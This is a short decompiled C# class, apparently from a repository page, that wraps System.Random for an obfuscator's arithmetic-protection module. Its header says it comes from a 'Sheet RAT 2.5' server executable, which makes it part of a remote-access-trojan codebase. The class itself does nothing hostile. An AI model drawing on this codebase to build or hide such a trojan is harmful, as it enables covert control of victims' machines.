26 lines
742 B
C#
26 lines
742 B
C#
// Decompiled with JetBrains decompiler
|
|
// Type: MindLated.Protection.Arithmetic.Generator.Generator
|
|
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
|
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
|
|
|
using System;
|
|
using System.Windows.Forms;
|
|
|
|
//#nullable disable
|
|
namespace MindLated.Protection.Arithmetic.Generator {
|
|
|
|
public class Generator
|
|
{
|
|
private readonly Random _random;
|
|
|
|
public Generator() => this._random = new Random(Guid.NewGuid().GetHashCode());
|
|
|
|
public int Next() => this._random.Next(int.MaxValue);
|
|
|
|
public int Next(int value) => this._random.Next(value);
|
|
|
|
public int Next(int min, int max) => this._random.Next(min, max);
|
|
}
|
|
}
|